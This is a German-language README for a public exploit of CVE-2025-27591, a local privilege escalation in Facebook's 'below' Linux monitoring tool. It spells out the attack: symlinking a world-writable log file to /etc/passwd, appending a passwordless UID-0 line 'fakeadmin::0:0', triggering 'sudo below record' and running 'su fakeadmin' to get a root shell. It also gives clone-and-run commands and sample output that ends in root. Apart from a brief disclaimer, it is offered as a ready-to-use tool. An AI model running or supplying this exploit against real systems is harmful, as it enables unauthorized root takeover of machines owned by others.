CVE-2025-27591 – Privilegieneskalation durch Symlink-Missbrauch in below

🛑 Haftungsausschluss: Dieser Exploit wird nur für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Die unbefugte Nutzung kann illegal sein.

🧠 Übersicht

below ist ein von Facebook für Linux-Systeme entwickeltes Leistungsüberwachungstool. Versionen von below vor einer gepatchten Version sind von einer kritischen Sicherheitslücke betroffen, die es unprivilegierten Benutzern ermöglicht, durch Ausnutzung von weltweit beschreibbaren Log-Verzeichnissen und unsicherer Log-Verarbeitung auf root zu eskalieren.

🔎 CVE-Details

💥 Exploit-Logik

Dieses Bash-Skript führt Folgendes aus:

1. Prüfung auf weltweit beschreibbares Verzeichnis:

   • Bestätigt, ob /var/log/below weltweit beschreibbar ist (eine rote Flagge).

2. Symlink-Angriff vorbereiten:

   • Löscht vorhandene error_root.log (falls vorhanden) und erstellt einen symbolischen Link auf /etc/passwd.

3. Payload-Konstruktion:

   • Fügt einen gefälschten Root-Benutzer in /etc/passwd ein:
     root@kitploit:~

     fakeadmin::0:0:fakeadmin:/root:/bin/bash
     

4. Logging auslösen:

   • Führt sudo below record aus, um die anfällige Binärdatei zum Schreiben von Logs zu zwingen.

5. Root-Zugriff erlangen:

   • Verwendet su fakeadmin, um eine Root-Shell ohne Passwortabfrage zu erhalten.

📁 Verzeichnisstruktur

CVE-2025-27591/
├── exploit.sh
├── README.md

✅ Voraussetzungen

Stellen Sie vor der Ausführung des Exploits sicher, dass Folgendes vorhanden ist:

• Bash-Shell (Linux-System)
• Die anfällige Binärdatei installiert: /usr/bin/below
• Weltweit beschreibbares Log-Verzeichnis: /var/log/below
• sudo-Rechte zur Ausführung: sudo below record
• Verfügbare Tools:
  • ln (zum Erstellen von Symlinks)
  • su (zum Wechseln des Benutzers)
  • timeout (zur Steuerung der Ausführungszeit)
  • whoami (zur Berechtigungsprüfung)

🚀 Exploit-Schritte

# 1. Clone the repository
git clone https://github.com/00xCanelo/CVE-2025-27591.git
cd CVE-2025-27591

# 2. Make the script executable
chmod +x exploit.sh

# 3. Execute the exploit
./exploit.sh

🧪 Beispielausgabe

[*] Checking for CVE-2025-27591 vulnerability...
[+] /var/log/below is world-writable.
[!] Found existing log file: removing it...
[+] Created symlink: /var/log/below/error_root.log -> /etc/passwd

[*] Writing malicious line to /tmp/fakeadmin
[*] Triggering logging via 'sudo below record'...
[+] 'below record' executed (or timed out)

[*] Attempting to write payload to /etc/passwd via symlink...
[+] Payload successfully appended.

[*] Trying to switch to root shell using 'su fakeadmin'...
root@target:/# whoami
root